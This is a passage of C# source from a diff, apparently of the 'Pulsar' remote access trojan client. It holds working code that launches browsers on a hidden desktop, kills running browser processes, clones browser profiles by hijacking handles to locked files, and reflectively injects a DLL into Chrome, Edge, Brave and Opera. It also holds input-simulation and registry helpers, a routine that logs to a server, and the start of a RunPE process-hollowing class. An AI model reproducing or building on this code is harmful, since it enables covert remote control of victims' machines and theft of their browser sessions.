CreateProc(startCommand);
}
catch (OperationCanceledException)
{
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
cloneCancelled = true;
Debug.WriteLine("Firefox profile cloning cancelled by user.");
}
catch (Exception ex)
{
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
Debug.WriteLine("Error starting Firefox: " + ex.Message);
}
finally
{
await completionTask.ConfigureAwait(false);
progressSession?.Dispose();
}
}
public async Task StartBraveAsync(byte[] dllbytes)
{
try
{
var braveConfig = BrowserConfiguration.GetConfig("Brave");
if (braveConfig == null || !BrowserConfiguration.ValidateConfig(braveConfig))
{
Debug.WriteLine("Brave executable not found.");
return;
}
Debug.WriteLine($"Found Brave at: {braveConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(braveConfig.SearchPattern, braveConfig.ReplacementPath, "Brave").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine("Brave profile cloning cancelled by user skipping injection.");
return;
}
try
{
await Task.Run(() => KDOTInjector.Start(dllbytes, braveConfig.ExecutablePath, braveConfig.SearchPattern, braveConfig.ReplacementPath)).ConfigureAwait(false);
Debug.WriteLine("Brave started successfully with reflective DLL injection.");
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during Brave DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine("Brave profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine("Error starting Brave: " + ex.Message);
}
}
public async Task StartOperaAsync(byte[] dllbytes)
{
try
{
var operaConfig = BrowserConfiguration.GetConfig("Opera");
if (operaConfig == null || !BrowserConfiguration.ValidateConfig(operaConfig))
{
Debug.WriteLine("Opera executable not found.");
return;
}
Debug.WriteLine($"Found Opera at: {operaConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(operaConfig.SearchPattern, operaConfig.ReplacementPath, "Opera").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine("Opera profile cloning cancelled by user skipping injection.");
return;
}
try
{
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, operaConfig.ExecutablePath, operaConfig.SearchPattern, operaConfig.ReplacementPath)).ConfigureAwait(false);
if (processId > 0)
{
Debug.WriteLine("Opera started successfully with reflective DLL injection.");
await Task.Delay(2000).ConfigureAwait(false);
_ = Task.Run(async () =>
{
try
{
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
}
catch (Exception patchEx)
{
Debug.WriteLine($"Opera patcher error: {patchEx.Message}");
}
});
}
else
{
Debug.WriteLine("Failed to start Opera process.");
}
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during Opera DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine("Opera profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine("Error starting Opera: " + ex.Message);
}
}
public async Task StartOperaGXAsync(byte[] dllbytes)
{
try
{
var operaGXConfig = BrowserConfiguration.GetConfig("OperaGX");
if (operaGXConfig == null || !BrowserConfiguration.ValidateConfig(operaGXConfig))
{
Debug.WriteLine("OperaGX executable not found.");
return;
}
Debug.WriteLine($"Found OperaGX at: {operaGXConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(operaGXConfig.SearchPattern, operaGXConfig.ReplacementPath, "Opera GX").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine("OperaGX profile cloning cancelled by user skipping injection.");
return;
}
try
{
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, operaGXConfig.ExecutablePath, operaGXConfig.SearchPattern, operaGXConfig.ReplacementPath)).ConfigureAwait(false);
if (processId > 0)
{
Debug.WriteLine("OperaGX started successfully with reflective DLL injection.");
await Task.Delay(2000).ConfigureAwait(false);
_ = Task.Run(async () =>
{
try
{
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
}
catch (Exception patchEx)
{
Debug.WriteLine($"OperaGX patcher error: {patchEx.Message}");
}
});
}
else
{
Debug.WriteLine("Failed to start OperaGX process.");
}
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during OperaGX DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine("OperaGX profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine("Error starting OperaGX: " + ex.Message);
}
}
public async Task StartEdgeAsync(byte[] dllbytes)
{
try
{
var edgeConfig = BrowserConfiguration.GetConfig("Edge");
if (edgeConfig == null || !BrowserConfiguration.ValidateConfig(edgeConfig))
{
Debug.WriteLine("Edge executable not found.");
return;
}
Debug.WriteLine($"Found Edge at: {edgeConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(edgeConfig.SearchPattern, edgeConfig.ReplacementPath, "Edge").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine("Edge profile cloning cancelled by user skipping injection.");
return;
}
try
{
await Task.Run(() => KDOTInjector.Start(dllbytes, edgeConfig.ExecutablePath, edgeConfig.SearchPattern, edgeConfig.ReplacementPath)).ConfigureAwait(false);
Debug.WriteLine("Edge started successfully with reflective DLL injection.");
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during Edge DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine("Edge profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine("Error starting Edge: " + ex.Message);
}
}
public async Task StartChromeAsync(byte[] dllbytes)
{
try
{
var chromeConfig = BrowserConfiguration.GetChromeConfig();
if (chromeConfig == null)
{
UniversalDebugLogger.SendLogToServer("Chrome executable not found.");
return;
}
UniversalDebugLogger.SendLogToServer($"Found Chrome at: {chromeConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(chromeConfig.SearchPattern, chromeConfig.ReplacementPath, "Chrome").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
UniversalDebugLogger.SendLogToServer("Chrome profile cloning cancelled by user skipping injection.");
return;
}
try
{
await Task.Run(() => KDOTInjector.Start(dllbytes, chromeConfig.ExecutablePath, chromeConfig.SearchPattern, chromeConfig.ReplacementPath)).ConfigureAwait(false);
UniversalDebugLogger.SendLogToServer("Chrome started successfully with reflective DLL injection.");
}
catch (Exception injectionEx)
{
UniversalDebugLogger.SendLogToServer($"Error during DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
UniversalDebugLogger.SendLogToServer("Chrome profile cloning cancelled by user.");
}
catch (Exception ex)
{
UniversalDebugLogger.SendLogToServer("Error starting Chrome: " + ex.Message);
}
}
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
/// <summary>
/// Generic method to start any browser by type with reflective DLL injection.
/// </summary>
/// <param name="browserType">Type of browser (Chrome, Edge, Brave, Opera, OperaGX)</param>
/// <param name="dllbytes">DLL bytes to inject</param>
public async Task StartBrowserAsync(string browserType, byte[] dllbytes)
{
try
{
if (browserType.Equals("Chrome", StringComparison.OrdinalIgnoreCase))
{
await StartChromeAsync(dllbytes).ConfigureAwait(false);
return;
}
var config = BrowserConfiguration.GetConfig(browserType);
if (config == null || !BrowserConfiguration.ValidateConfig(config))
{
Debug.WriteLine($"{browserType} executable not found.");
return;
}
Debug.WriteLine($"Found {browserType} at: {config.ExecutablePath}");
string processName = Path.GetFileNameWithoutExtension(config.ExecutablePath).ToLower();
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {processName}.exe /F";
STARTUPINFO startupInfo = default(STARTUPINFO);
startupInfo.cb = Marshal.SizeOf<STARTUPINFO>(startupInfo);
startupInfo.lpDesktop = this.DesktopName;
startupInfo.dwX = 0;
startupInfo.dwY = 0;
startupInfo.dwFlags = STARTF_USEPOSITION;
PROCESS_INFORMATION processInfo = default(PROCESS_INFORMATION);
if (CreateProcess(null, killCommand, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref startupInfo, ref processInfo))
{
Debug.WriteLine($"Waiting for {browserType} processes to terminate...");
WaitForProcessCompletion(processInfo, 5000);
}
else
{
Debug.WriteLine("Failed to create taskkill process, using fallback delay.");
await Task.Delay(500).ConfigureAwait(false);
}
var cloneResult = await CloneBrowserProfileAsync(config.SearchPattern, config.ReplacementPath, browserType).ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine($"{browserType} profile cloning cancelled by user skipping injection.");
return;
}
try
{
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, config.ExecutablePath, config.SearchPattern, config.ReplacementPath)).ConfigureAwait(false);
if (processId > 0)
{
Debug.WriteLine($"{browserType} started successfully with reflective DLL injection.");
if (browserType.Equals("Opera", StringComparison.OrdinalIgnoreCase) ||
browserType.Equals("OperaGX", StringComparison.OrdinalIgnoreCase))
{
await Task.Delay(2000).ConfigureAwait(false);
_ = Task.Run(async () =>
{
try
{
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
}
catch (Exception patchEx)
{
Debug.WriteLine($"{browserType} patcher error: {patchEx.Message}");
}
});
}
}
else
{
Debug.WriteLine($"Failed to start {browserType} process.");
}
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during {browserType} DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine($"{browserType} profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine($"Error starting {browserType}: {ex.Message}");
}
}
public bool CreateProc(string filePath)
{
STARTUPINFO structure = default(STARTUPINFO);
structure.cb = Marshal.SizeOf<STARTUPINFO>(structure);
structure.lpDesktop = this.DesktopName;
// try setting position to 0,0
structure.dwX = 0;
structure.dwY = 0;
structure.dwFlags = STARTF_USEPOSITION;
PROCESS_INFORMATION process_INFORMATION = default(PROCESS_INFORMATION);
return CreateProcess(null, filePath, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref structure, ref process_INFORMATION);
}
public void StartDiscord()
{
string discordPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Discord\\Update.exe";
if (!File.Exists(discordPath)) return;
string killCommand = "Conhost --headless cmd.exe /c taskkill /IM discord.exe /F";
this.CreateProc(killCommand);
Thread.Sleep(1000);
string startCommand = "\"" + discordPath + "\" --processStart Discord.exe";
this.CreateProc(startCommand);
}
public void StartExplorer()
{
uint num = 2U;
string name = "TaskbarGlomLevel";
string name2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced";
using (RegistryKey registryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(name2, true))
{
if (registryKey != null)
{
object value = registryKey.GetValue(name);
if (value is uint)
{
uint num2 = (uint)value;
if (num2 != num)
{
registryKey.SetValue(name, num, RegistryValueKind.DWord);
}
}
}
}
string explorerPath = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\explorer.exe /NoUACCheck";
this.CreateProc(explorerPath);
}
/// <summary>
/// Clones browser profile from SearchPattern to ReplacementPath.
/// Executes on a background thread to avoid blocking message processing.
/// </summary>
/// <param name="searchPattern">Relative path pattern (e.g., "Local\Google\Chrome\User Data")</param>
/// <param name="replacementPath">Relative path for destination (e.g., "Local\Google\Chrome\KDOT")</param>
private async Task<CloneResult> CloneBrowserProfileAsync(string searchPattern, string replacementPath, string browserName = null)
{
BrowserCloneProgressSession progressSession = null;
Task completionTask = Task.CompletedTask;
CloneResult cloneResult = default;
try
{
progressSession = await BrowserCloneProgressSession.TryCreateAsync(browserName).ConfigureAwait(false);
progressSession?.ReportPreparing();
CancellationToken cancellationToken = progressSession?.CancellationToken ?? CancellationToken.None;
cloneResult = await Task.Run(() => CloneBrowserProfileInternal(
searchPattern,
replacementPath,
cancellationToken,
progressSession?.Progress)).ConfigureAwait(false);
bool completedSuccessfully = cloneResult.Success && !cloneResult.Cancelled;
completionTask = progressSession?.ReportCompletionAsync(completedSuccessfully) ?? Task.CompletedTask;
return cloneResult;
}
catch
{
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
throw;
}
finally
{
await completionTask.ConfigureAwait(false);
progressSession?.Dispose();
}
}
private CloneResult CloneBrowserProfileInternal(
string searchPattern,
string replacementPath,
CancellationToken cancellationToken,
IProgress<BrowserCloneProgress> progress)
{
string localSearch = searchPattern;
string localReplacement = replacementPath;
string baseDir;
if (localSearch.StartsWith("Local\\", StringComparison.OrdinalIgnoreCase))
{
baseDir = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
localSearch = localSearch.Substring(6);
localReplacement = localReplacement.Substring(6);
}
else if (localSearch.StartsWith("Roaming\\", StringComparison.OrdinalIgnoreCase))
{
baseDir = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
localSearch = localSearch.Substring(8);
localReplacement = localReplacement.Substring(8);
}
else
{
Debug.WriteLine($"Invalid search pattern format: {localSearch}");
return new CloneResult(false, false, string.Empty);
}
string sourceDir = Path.Combine(baseDir, localSearch);
string destDir = Path.Combine(baseDir, localReplacement);
try
{
cancellationToken.ThrowIfCancellationRequested();
UniversalDebugLogger.SendLogToServer($"Cloning browser profile from '{sourceDir}' to '{destDir}'");
if (!Directory.Exists(sourceDir))
{
UniversalDebugLogger.SendLogToServer($"Source directory does not exist: {sourceDir}");
return new CloneResult(false, false, destDir);
}
if (Directory.Exists(destDir))
{
UniversalDebugLogger.SendLogToServer($"Removing existing destination directory: {destDir}");
DeleteFolder(destDir);
}
cancellationToken.ThrowIfCancellationRequested();
UniversalDebugLogger.SendLogToServer("[BrowserClone] Using handle hijacking for locked files...");
bool success = HandleHijacker.ForceCopyDirectory(
sourceDir,
destDir,
killIfFailed: false,
progress,
cancellationToken);
if (success)
{
UniversalDebugLogger.SendLogToServer("[BrowserClone] Browser profile cloned successfully with handle hijacking.");
}
else
{
UniversalDebugLogger.SendLogToServer("[BrowserClone] Handle hijacking partial success, some files may be skipped.");
}
return new CloneResult(success, false, destDir);
}
catch (OperationCanceledException)
{
UniversalDebugLogger.SendLogToServer("[BrowserClone] Operation cancelled by user.");
CleanupCancelledClone(destDir);
return new CloneResult(false, true, destDir);
}
catch (Exception ex)
{
UniversalDebugLogger.SendLogToServer($"Error cloning browser profile: {ex.Message}");
CleanupCancelledClone(destDir);
throw;
}
}
/// <summary>
/// Waits for a process to complete with a timeout
/// </summary>
/// <param name="processInfo">Process information structure</param>
/// <param name="timeoutMs">Timeout in milliseconds (default 5000ms)</param>
/// <returns>True if process completed within timeout, false otherwise</returns>
private bool WaitForProcessCompletion(PROCESS_INFORMATION processInfo, uint timeoutMs = 5000)
{
try
{
if (processInfo.hProcess == IntPtr.Zero)
return false;
uint result = WaitForSingleObject(processInfo.hProcess, timeoutMs);
CloseHandle(processInfo.hProcess);
CloseHandle(processInfo.hThread);
return result == WAIT_OBJECT_0;
}
catch (Exception ex)
{
Debug.WriteLine($"Error waiting for process: {ex.Message}");
return false;
}
}
public async Task StartGenericChromiumAsync(byte[] dllbytes, string browserPath, string searchPattern, string replacementPath)
{
try
{
if (string.IsNullOrWhiteSpace(browserPath) || !File.Exists(browserPath))
{
UniversalDebugLogger.SendLogToServer($"Generic Chromium browser executable not found at: {browserPath}");
return;
}
if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath))
{
UniversalDebugLogger.SendLogToServer("Search pattern and replacement path are required for generic Chromium browser.");
return;
}
UniversalDebugLogger.SendLogToServer($"Starting Generic Chromium Browser: {browserPath}");
UniversalDebugLogger.SendLogToServer($"Search Pattern: {searchPattern}");
UniversalDebugLogger.SendLogToServer($"Replacement Path: {replacementPath}");
string processName = Path.GetFileNameWithoutExtension(browserPath);
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {processName}.exe /F";
STARTUPINFO startupInfo = default(STARTUPINFO);
startupInfo.cb = Marshal.SizeOf<STARTUPINFO>(startupInfo);
startupInfo.lpDesktop = this.DesktopName;
startupInfo.dwX = 0;
startupInfo.dwY = 0;
startupInfo.dwFlags = STARTF_USEPOSITION;
PROCESS_INFORMATION processInfo = default(PROCESS_INFORMATION);
UniversalDebugLogger.SendLogToServer($"Killing any existing {processName}.exe processes...");
if (CreateProcess(null, killCommand, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref startupInfo, ref processInfo))
{
UniversalDebugLogger.SendLogToServer($"Waiting for {processName}.exe processes to terminate...");
WaitForProcessCompletion(processInfo, 5000);
}
else
{
UniversalDebugLogger.SendLogToServer("Failed to create taskkill process, using fallback delay.");
await Task.Delay(500).ConfigureAwait(false);
}
string friendlyName = Path.GetFileNameWithoutExtension(browserPath);
if (string.IsNullOrWhiteSpace(friendlyName))
{
friendlyName = "Chromium";
}
var cloneResult = await CloneBrowserProfileAsync(searchPattern, replacementPath, friendlyName).ConfigureAwait(false);
if (cloneResult.Cancelled)
{
UniversalDebugLogger.SendLogToServer("Generic Chromium profile cloning cancelled by user skipping injection.");
return;
}
try
{
await Task.Run(() => KDOTInjector.Start(dllbytes, browserPath, searchPattern, replacementPath)).ConfigureAwait(false);
UniversalDebugLogger.SendLogToServer($"Generic Chromium browser started successfully with reflective DLL injection.");
}
catch (Exception injectionEx)
{
UniversalDebugLogger.SendLogToServer($"Error during generic Chromium DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
UniversalDebugLogger.SendLogToServer("Generic Chromium profile cloning cancelled by user.");
}
catch (Exception ex)
{
UniversalDebugLogger.SendLogToServer($"Error starting generic Chromium browser: {ex.Message}");
}
}
private string DesktopName;
private struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
}
}
+46
View File
@@ -0,0 +1,46 @@
using System.IO;
using System.Runtime.Serialization.Json;
using System.Text;
namespace Pulsar.Client.Helper
{
/// <summary>
/// Provides methods to serialize and deserialize JSON.
/// </summary>
public static class JsonHelper
{
/// <summary>
/// Serializes an object to the respectable JSON string.
/// </summary>
public static string Serialize<T>(T o)
{
var s = new DataContractJsonSerializer(typeof(T));
using (var ms = new MemoryStream())
{
s.WriteObject(ms, o);
return Encoding.UTF8.GetString(ms.ToArray());
}
}
/// <summary>
/// Deserializes a JSON string to the specified object.
/// </summary>
public static T Deserialize<T>(string json)
{
var s = new DataContractJsonSerializer(typeof(T));
using (var ms = new MemoryStream(Encoding.UTF8.GetBytes(json)))
{
return (T)s.ReadObject(ms);
}
}
/// <summary>
/// Deserializes a JSON stream to the specified object.
/// </summary>
public static T Deserialize<T>(Stream stream)
{
var s = new DataContractJsonSerializer(typeof(T));
return (T)s.ReadObject(stream);
}
}
}
+235
View File
@@ -0,0 +1,235 @@
using Pulsar.Client.Utilities;
using System;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Text;
namespace Pulsar.Client.Helper
{
public static class NativeMethodsHelper
{
private const int INPUT_MOUSE = 0;
private const int INPUT_KEYBOARD = 1;
private const uint MOUSEEVENTF_LEFTDOWN = 0x0002;
private const uint MOUSEEVENTF_LEFTUP = 0x0004;
private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008;
private const uint MOUSEEVENTF_RIGHTUP = 0x0010;
private const uint MOUSEEVENTF_WHEEL = 0x0800;
private const uint KEYEVENTF_KEYDOWN = 0x0000;
private const uint KEYEVENTF_KEYUP = 0x0002;
public const uint SWP_NOZORDER = 0x0004;
public const uint SWP_NOSIZE = 0x0001;
public const uint SWP_SHOWWINDOW = 0x0040;
[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("user32.dll", SetLastError = true)]
public static extern bool SetWindowPos(
IntPtr hWnd, IntPtr hWndInsertAfter,
int X, int Y, int cx, int cy, uint uFlags);
public static void SetWindowPosition(IntPtr hWnd, int x, int y, int width, int height)
{
const uint SWP_NOZORDER = 0x0004;
const uint SWP_SHOWWINDOW = 0x0040;
SetWindowPos(hWnd, IntPtr.Zero, x, y, width, height, SWP_NOZORDER | SWP_SHOWWINDOW);
}
public static uint GetLastInputInfoTickCount()
{
NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO();
lastInputInfo.cbSize = (uint)Marshal.SizeOf(lastInputInfo);
lastInputInfo.dwTime = 0;
NativeMethods.GetLastInputInfo(ref lastInputInfo);
return lastInputInfo.dwTime;
}
public static void DoMouseLeftClick(Point p, bool isMouseDown)
{
NativeMethods.INPUT[] inputs = {
new NativeMethods.INPUT
{
type = INPUT_MOUSE,
u = new NativeMethods.InputUnion
{
mi = new NativeMethods.MOUSEINPUT
{
dx = p.X,
dy = p.Y,
mouseData = 0,
dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP,
time = 0,
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
}
}
}
};
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
/// <summary>
/// Moves a window to the specified screen bounds.
/// </summary>
/// <param name="hWnd">Handle to the window.</param>
/// <param name="bounds">The bounds of the target screen.</param>
public static void MoveWindowToScreen(IntPtr hWnd, Rectangle bounds)
{
if (hWnd == IntPtr.Zero)
{
throw new ArgumentException("Window handle cannot be null.", nameof(hWnd));
}
bool result = NativeMethods.SetWindowPos(hWnd, IntPtr.Zero, bounds.X, bounds.Y, 0, 0, NativeMethodsHelper.SWP_NOZORDER | NativeMethodsHelper.SWP_NOSIZE);
if (!result)
{
throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error(), "Failed to move window to the specified screen.");
}
}
public static void DoMouseRightClick(Point p, bool isMouseDown)
{
NativeMethods.INPUT[] inputs = {
new NativeMethods.INPUT
{
type = INPUT_MOUSE,
u = new NativeMethods.InputUnion
{
mi = new NativeMethods.MOUSEINPUT
{
dx = p.X,
dy = p.Y,
mouseData = 0,
dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP,
time = 0,
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
}
}
}
};
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
public static void DoMouseMove(Point p)
{
NativeMethods.SetCursorPos(p.X, p.Y);
}
public static void DoMouseScroll(Point p, bool scrollDown)
{
NativeMethods.INPUT[] inputs = {
new NativeMethods.INPUT
{
type = INPUT_MOUSE,
u = new NativeMethods.InputUnion
{
mi = new NativeMethods.MOUSEINPUT
{
dx = p.X,
dy = p.Y,
mouseData = scrollDown ? -120 : 120,
dwFlags = MOUSEEVENTF_WHEEL,
time = 0,
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
}
}
}
};
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
public static void DoKeyPress(byte key, bool keyDown)
{
NativeMethods.INPUT[] inputs = {
new NativeMethods.INPUT
{
type = INPUT_KEYBOARD,
u = new NativeMethods.InputUnion
{
ki = new NativeMethods.KEYBDINPUT
{
wVk = key,
wScan = 0,
dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP,
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
}
}
}
};
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
private const int SPI_GETSCREENSAVERRUNNING = 114;
public static bool IsScreensaverActive()
{
var running = IntPtr.Zero;
if (!NativeMethods.SystemParametersInfo(
SPI_GETSCREENSAVERRUNNING,
0,
ref running,
0))
{
// Something went wrong (Marshal.GetLastWin32Error)
}
return running != IntPtr.Zero;
}
private const uint DESKTOP_WRITEOBJECTS = 0x0080;
private const uint DESKTOP_READOBJECTS = 0x0001;
private const int WM_CLOSE = 16;
private const uint SPI_SETSCREENSAVEACTIVE = 0x0011;
private const uint SPIF_SENDWININICHANGE = 0x0002;
public static void DisableScreensaver()
{
var handle = NativeMethods.OpenDesktop("Screen-saver", 0,
false, DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS);
if (handle != IntPtr.Zero)
{
NativeMethods.EnumDesktopWindows(handle, (hWnd, lParam) =>
{
if (NativeMethods.IsWindowVisible(hWnd))
NativeMethods.PostMessage(hWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
// Continue enumeration even if it fails
return true;
},
IntPtr.Zero);
NativeMethods.CloseDesktop(handle);
}
else
{
NativeMethods.PostMessage(NativeMethods.GetForegroundWindow(), WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
}
// We need to restart the counter for next screensaver according to
// https://support.microsoft.com/en-us/kb/140723
// (this may not be needed since we simulate mouse click afterwards)
var dummy = IntPtr.Zero;
// Doesn't really matter if this fails
NativeMethods.SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1 /* true */, ref dummy, SPIF_SENDWININICHANGE);
}
public static string GetForegroundWindowTitle()
{
StringBuilder sbTitle = new StringBuilder(1024);
NativeMethods.GetWindowText(NativeMethods.GetForegroundWindow(), sbTitle, sbTitle.Capacity);
return sbTitle.ToString();
}
}
}
+158
View File
@@ -0,0 +1,158 @@
using Microsoft.Win32;
using Pulsar.Client.Extensions;
using Pulsar.Common.Models;
using Pulsar.Common.Utilities;
using System;
using System.Collections.Generic;
using System.Linq;
namespace Pulsar.Client.Helper
{
public static class RegistryKeyHelper
{
private static string DEFAULT_VALUE = String.Empty;
/// <summary>
/// Adds a value to the registry key.
/// </summary>
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
/// <param name="path">The path to the registry key.</param>
/// <param name="name">The name of the value.</param>
/// <param name="value">The value.</param>
/// <param name="addQuotes">If set to True, adds quotes to the value.</param>
/// <returns>True on success, else False.</returns>
public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false)
{
try
{
using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path))
{
if (key == null) return false;
if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\""))
value = "\"" + value + "\"";
key.SetValue(name, value);
return true;
}
}
catch (Exception)
{
return false;
}
}
/// <summary>
/// Opens a read-only registry key.
/// </summary>
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
/// <param name="path">The path to the registry key.</param>
/// <returns></returns>
public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path)
{
try
{
return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, false);
}
catch
{
return null;
}
}
/// <summary>
/// Deletes the specified value from the registry key.
/// </summary>
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
/// <param name="path">The path to the registry key.</param>
/// <param name="name">The name of the value to delete.</param>
/// <returns>True on success, else False.</returns>
public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name)
{
try
{
using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path))
{
if (key == null) return false;
key.DeleteValue(name, true);
return true;
}
}
catch (Exception)
{
return false;
}
}
/// <summary>
/// Checks if the provided value is the default value
/// </summary>
/// <param name="valueName">The name of the value</param>
/// <returns>True if default value, else False</returns>
public static bool IsDefaultValue(string valueName)
{
return String.IsNullOrEmpty(valueName);
}
/// <summary>
/// Adds the default value to the list of values and returns them as an array.
/// If default value already exists this function will only return the list as an array.
/// </summary>
/// <param name="values">The list with the values for which the default value should be added to</param>
/// <returns>Array with all of the values including the default value</returns>
public static RegValueData[] AddDefaultValue(List<RegValueData> values)
{
if (!values.Any(value => IsDefaultValue(value.Name)))
{
values.Add(GetDefaultValue());
}
return values.ToArray();
}
/// <summary>
/// Gets the default registry values
/// </summary>
/// <returns>A array with the default registry values</returns>
public static RegValueData[] GetDefaultValues()
{
return new[] { GetDefaultValue() };
}
public static RegValueData CreateRegValueData(string name, RegistryValueKind kind, object value = null)
{
var newRegValue = new RegValueData { Name = name, Kind = kind };
if (value == null)
newRegValue.Data = new byte[] { };
else
{
switch (newRegValue.Kind)
{
case RegistryValueKind.Binary:
newRegValue.Data = (byte[])value;
break;
case RegistryValueKind.MultiString:
newRegValue.Data = ByteConverter.GetBytes((string[])value);
break;
case RegistryValueKind.DWord:
newRegValue.Data = ByteConverter.GetBytes((uint)(int)value);
break;
case RegistryValueKind.QWord:
newRegValue.Data = ByteConverter.GetBytes((ulong)(long)value);
break;
case RegistryValueKind.String:
case RegistryValueKind.ExpandString:
newRegValue.Data = ByteConverter.GetBytes((string)value);
break;
}
}
return newRegValue;
}
private static RegValueData GetDefaultValue()
{
return CreateRegValueData(DEFAULT_VALUE, RegistryValueKind.String);
}
}
}
+520
View File
@@ -0,0 +1,520 @@
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace Pulsar.Client.Helper
{
//Ai lowkey had to help with the 64 vs 32 bit shit I was lost.
public static class RunPE
{
private const uint CONTEXT_FULL = 0x10001F;
private const uint CONTEXT_INTEGER = 0x10002;
[DllImport("kernel32.dll")]
public static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool Wow64SetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", SetLastError = true)]
